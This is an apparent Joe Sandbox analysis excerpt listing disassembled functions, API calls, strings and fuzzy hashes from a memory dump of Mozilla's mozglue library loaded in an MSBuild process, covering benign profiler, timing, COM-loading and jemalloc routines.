Part of subcall function 6BCE9A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6BCE9BB8
Part of subcall function 6BCE9A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6BCE9BC9

Part of subcall function 6BCDCBE8: GetCurrentProcess.KERNEL32(?,6BCA31A7), ref: 6BCDCBF1
Part of subcall function 6BCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BCA31A7), ref: 6BCDCBFA

Strings

[I %d/%d] profiler_stream_json_for_this_process, xrefs: 6BCE9A15

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Current$ThreadTimegetenv$ExclusiveLockProcessStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@_
String ID: [I %d/%d] profiler_stream_json_for_this_process
API String ID: 2359002670-141131661
Opcode ID: 1e0a86f7aececdf814caf275afd98c5bd62bc7f551f851f64722b88f4799e53b
Instruction ID: 5468bfcdddbc604056adb2cd5f6942c6f3c269428e91ece7cc614293f4d457cf
Opcode Fuzzy Hash: 1e0a86f7aececdf814caf275afd98c5bd62bc7f551f851f64722b88f4799e53b
Instruction Fuzzy Hash: 1F0104759142A5DBEF005F659409669BB68EF42668F000417EF095B342E7FD8A03C6B2

Function 6BCB1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCDAB89: EnterCriticalSection.KERNEL32(6BD2E370,?,?,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284), ref: 6BCDAB94
Part of subcall function 6BCDAB89: LeaveCriticalSection.KERNEL32(6BD2E370,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284,?,?,6BCC56F6), ref: 6BCDABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6BCB1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6BCB1FFD
__Init_thread_footer.LIBCMT ref: 6BCB2011
FreeLibrary.KERNEL32 ref: 6BCB2059

Strings

CoCreateInstance, xrefs: 6BCB1FF7
combase.dll, xrefs: 6BCB1FD9

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 4405dc85b72c1ad0049e08b4836384155631623328e82511d06c94c4e6a6adc1
Instruction ID: 9aa54b7e8c71549482929cb47e9eccbc25d4c9f045feb47f6247238b480a3dbe
Opcode Fuzzy Hash: 4405dc85b72c1ad0049e08b4836384155631623328e82511d06c94c4e6a6adc1
Instruction Fuzzy Hash: 84117978101284AFFF208F65D859E5ABF69EB8A365F00442AFB058E240E739D901CF71

Function 6BCB0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCDAB89: EnterCriticalSection.KERNEL32(6BD2E370,?,?,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284), ref: 6BCDAB94
Part of subcall function 6BCDAB89: LeaveCriticalSection.KERNEL32(6BD2E370,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284,?,?,6BCC56F6), ref: 6BCDABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6BCDD9F0,00000000), ref: 6BCB0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6BCB0F3C
__Init_thread_footer.LIBCMT ref: 6BCB0F50
FreeLibrary.KERNEL32(?,6BCDD9F0,00000000), ref: 6BCB0F86

Strings

combase.dll, xrefs: 6BCB0F18
CoInitializeEx, xrefs: 6BCB0F36

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 0d5da8e2d5ae2172d310e5d69bc42d376dc45252511d9da7c9d707d46ae87dce
Instruction ID: 3ae228c52f33f6535b62bd227d459b7819a244ceba47b8de60a58d6944bc6809
Opcode Fuzzy Hash: 0d5da8e2d5ae2172d310e5d69bc42d376dc45252511d9da7c9d707d46ae87dce
Instruction Fuzzy Hash: F81186746152809BFF009F64C908E4DBF64FB4B722F00462BEB05DA280E778E505CA65

Function 6BCB62E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCDAB89: EnterCriticalSection.KERNEL32(6BD2E370,?,?,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284), ref: 6BCDAB94
Part of subcall function 6BCDAB89: LeaveCriticalSection.KERNEL32(6BD2E370,?,6BCA34DE,6BD2F6CC,?,?,?,?,?,?,?,6BCA3284,?,?,6BCC56F6), ref: 6BCDABD1

LoadLibraryW.KERNEL32(combase.dll), ref: 6BCB631B
GetProcAddress.KERNEL32(00000000,CoUninitialize), ref: 6BCB633A
__Init_thread_footer.LIBCMT ref: 6BCB634E
FreeLibrary.KERNEL32 ref: 6BCB6376

Strings

combase.dll, xrefs: 6BCB6316
CoUninitialize, xrefs: 6BCB6334

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoUninitialize$combase.dll
API String ID: 4190559335-3846590027
Opcode ID: 31386e6c8536c996081bc1b7b24bdc14d2e6395701fc3bfc5e34a54c9acd2982
Instruction ID: 597a99e23ee9914d0110a29be160e7833cce1a8c0b256e4953f8bd87eb209a3c
Opcode Fuzzy Hash: 31386e6c8536c996081bc1b7b24bdc14d2e6395701fc3bfc5e34a54c9acd2982
Instruction Fuzzy Hash: F7011E75926681CFFB009F78D958B28FBA0BB0A725F04497ADB01CE280E778E545CF55

Function 6BCB0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6BCB0DF8), ref: 6BCB0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6BCB0EA1
__Init_thread_footer.LIBCMT ref: 6BCB0EB5
FreeLibrary.KERNEL32 ref: 6BCB0EC5

Strings

kernel32.dll, xrefs: 6BCB0E7D
GetProcessMitigationPolicy, xrefs: 6BCB0E9B

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 2ad81aedb409170563fb600389416d850df3d7293704a812cf4ab9a2d86d2f3b
Instruction ID: e26093208206211d884ecd7bb796b70b257847350c547acfafbe9d763f541808
Opcode Fuzzy Hash: 2ad81aedb409170563fb600389416d850df3d7293704a812cf4ab9a2d86d2f3b
Instruction Fuzzy Hash: B1014674D112C19BFF008FA8DA94B0EB7A5F746725F000966EF019F280E778E906CA21

Function 6BCEF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCEF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6BCEF598), ref: 6BCEF621

Part of subcall function 6BCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BCE94EE
Part of subcall function 6BCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BCE9508

GetCurrentThreadId.KERNEL32 ref: 6BCEF637
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8,?,?,00000000,?,6BCEF598), ref: 6BCEF645
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8,?,?,00000000,?,6BCEF598), ref: 6BCEF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6BCEF62A

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ffd6c1534ba3a43ce99ceece8965dd912d6d868db0214ac469f5ec0d0b7b2ce1
Instruction ID: b2ecdbe5b23c2ccb28c9464f6257a16a3bd2bb339d2693ffb9692389ef8d8f23
Opcode Fuzzy Hash: ffd6c1534ba3a43ce99ceece8965dd912d6d868db0214ac469f5ec0d0b7b2ce1
Instruction Fuzzy Hash: A4F05475110284EFFE006B65D84895ABB6DEB862ADF000416EF058B382EBFA99028771

Function 6BCEF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BCB4A68), ref: 6BCE945E
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BCE9470
Part of subcall function 6BCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BCE9482
Part of subcall function 6BCE9420: __Init_thread_footer.LIBCMT ref: 6BCE949F

GetCurrentThreadId.KERNEL32 ref: 6BCEF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BCEF561

Part of subcall function 6BCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BCE94EE
Part of subcall function 6BCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BCE9508

GetCurrentThreadId.KERNEL32 ref: 6BCEF577
AcquireSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEF585
ReleaseSRWLockExclusive.KERNEL32(6BD2F4B8), ref: 6BCEF5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6BCEF239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6BCEF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6BCEF3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6BCEF499

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 26211c0686f5b2ab14c747f837ef01dfe83d5ae12c5a42f313f9e6846f5a51c4
Instruction ID: 563e5bea2f4f67c253457a8cdfa57b72f2d66106655a3da760a8b3ed5005cc94
Opcode Fuzzy Hash: 26211c0686f5b2ab14c747f837ef01dfe83d5ae12c5a42f313f9e6846f5a51c4
Instruction Fuzzy Hash: 1FF05475501284DFFE006F65D84895ABB6DEB862ADF000416EF058B342EBFAD9028771

Function 6BCE05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6BCDCFAE,?,?,?,6BCA31A7), ref: 6BCE05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6BCDCFAE,?,?,?,6BCA31A7), ref: 6BCE0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6BCA31A7), ref: 6BCE061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6BCA31A7), ref: 6BCE0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6BCE061B, 6BCE0625
<jemalloc>, xrefs: 6BCE05FA, 6BCE060F

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: b802efc05f10c6c1c9f9d96b38a5b4f270d06dc8b4b9e2f87962f0771f5f0693
Instruction ID: e7ca3624306b7a06de1b9137e811c0bc817ced1ea1c1f1ea45c7c78e842ca0e0
Opcode Fuzzy Hash: b802efc05f10c6c1c9f9d96b38a5b4f270d06dc8b4b9e2f87962f0771f5f0693
Instruction Fuzzy Hash: FCE08CE290A01037F5142366BC86DBB760CCBC6134F08003AFE0D8A201E95EAE1A91F6

Function 6BCF9240 Relevance: 9.3, APIs: 6, Instructions: 289timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCF9BAE
free.MOZGLUE(?,?), ref: 6BCF9BC3
free.MOZGLUE(?,?), ref: 6BCF9BD9

Part of subcall function 6BCF93B0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCF94C8
Part of subcall function 6BCF93B0: free.MOZGLUE(6BCF9281,?), ref: 6BCF94DD

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: fd764f6983a248f3d07e72f0fabf85fca1f6008c2fa804312326bd5c8436cc89
Instruction ID: c9c6991c0965f6ac1bf690a1600427eac0d2f9e4d02e3d7e6a4286331d922532
Opcode Fuzzy Hash: fd764f6983a248f3d07e72f0fabf85fca1f6008c2fa804312326bd5c8436cc89
Instruction Fuzzy Hash: 7FB1D271A147048BCB01CF68C48159FF3F9FFC9324B144699D8999B342EB75EA46CB92

Function 6BCB05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c89c29aa2d5b634b3b2609299c5e1eddb49d70dbbd15d7dd4b678c08c78fa907
Instruction ID: 23299bb2a3e290e137cf247b52fa2f2e3a93a4cd233161daff60d83e33d0dca0
Opcode Fuzzy Hash: c89c29aa2d5b634b3b2609299c5e1eddb49d70dbbd15d7dd4b678c08c78fa907
Instruction Fuzzy Hash: 57A148B09116058FDB14CF29C694B9EFBF1BF48304F4085AED54AAB700E734AA45CFA0

Function 6BCE71A0 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 6BCE6060: moz_xmalloc.MOZGLUE(00000024,47F51676,00000000,?,00000000,?,?,6BCE5FCB,6BCE79A3), ref: 6BCE6078

free.MOZGLUE(-00000001), ref: 6BCE72F6
free.MOZGLUE(?), ref: 6BCE7311

Strings

Spliced unique strings, xrefs: 6BCE7340
333s, xrefs: 6BCE7226
Copied unique strings, xrefs: 6BCE7320
333s, xrefs: 6BCE731B

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 333s$333s$Copied unique strings$Spliced unique strings
API String ID: 3009372454-760240034
Opcode ID: 1f543f5d12b9403bfa61965e0d6b4e2caed5bcacf169c744262a275b318076c5
Instruction ID: 099be5f07f00f4bbe628d95f3ca6c0559714c80867ded8333ace7b06c9be22e3
Opcode Fuzzy Hash: 1f543f5d12b9403bfa61965e0d6b4e2caed5bcacf169c744262a275b318076c5
Instruction Fuzzy Hash: 3471B871F10215CFDB04CF69D89069DB7F2AF84314F25812ED809AB311EB39AA47CB91

Function 6BCFC160 Relevance: 9.2, APIs: 6, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BCFC1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6BCFC293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6BCFC29E

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: fgetc$memcpy
String ID:
API String ID: 1522623862-0
Opcode ID: 6d0d362f0a9413f19ddcea24f813a2bc536b282cdcd566e34e82cf532baeb92f
Instruction ID: 750124988cc8b852fda018adc10bae5e8026ac5b8ef4be4378715e22156f7bdd
Opcode Fuzzy Hash: 6d0d362f0a9413f19ddcea24f813a2bc536b282cdcd566e34e82cf532baeb92f
Instruction Fuzzy Hash: 5161BD71E14614CFCB54CFACD8805DFBBB9FF49310F1545AAE902A7250E735AA46CBA0

Function 6BCF9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCF9FDB
free.MOZGLUE(?,?), ref: 6BCF9FF0
free.MOZGLUE(?,?), ref: 6BCFA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCFA0BE
free.MOZGLUE(?,?), ref: 6BCFA0D5
free.MOZGLUE(?,?), ref: 6BCFA0EB

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 93d5af975b0ad2eda7455da721eb9911347c1c0bcb3008f31b687221841d6a21
Instruction ID: dcb5a68d18f556292d1c2159fb86139b5f28816023ad228d34a52a1f68be16ee
Opcode Fuzzy Hash: 93d5af975b0ad2eda7455da721eb9911347c1c0bcb3008f31b687221841d6a21
Instruction Fuzzy Hash: 6361B3758197019FC751CF18C48155AB3F9FFD8328F50869DE8999B202E736EA82CBC2

Function 6BCE6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6BCDFA80: GetCurrentThreadId.KERNEL32 ref: 6BCDFA8D
Part of subcall function 6BCDFA80: AcquireSRWLockExclusive.KERNEL32(6BD2F448), ref: 6BCDFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BCE6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6BCE67C8

Part of subcall function 6BCF4290: memcpy.VCRUNTIME140(?,?,6BD02003,6BD00AD9,?,6BD00AD9,00000000,?,6BD00AD9,?,00000004,?,6BD01A62,?,6BD02003,?), ref: 6BCF42C4

Strings

data, xrefs: 6BCE6593

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: de8e8cbaa3217bef0ef6ed9b6fbf292ecd769112276a96687efabcc03d06a57a
Instruction ID: 103fdfebeb5ce85a8d0faf6600067c6689fe17ce30dcbaac905b2967a15c198c
Opcode Fuzzy Hash: de8e8cbaa3217bef0ef6ed9b6fbf292ecd769112276a96687efabcc03d06a57a
Instruction Fuzzy Hash: DBD1C174A287409FD724CF34D841B5FB7E6AFC5304F10492DE6999B341EB389A46CB62

Function 6BCECA20 Relevance: 9.1, APIs: 6, Instructions: 82timesleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000001), ref: 6BCECA57
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCECA69
Sleep.KERNEL32 ref: 6BCECADD
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCECAEA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BCECAF5
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6BCECB19

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
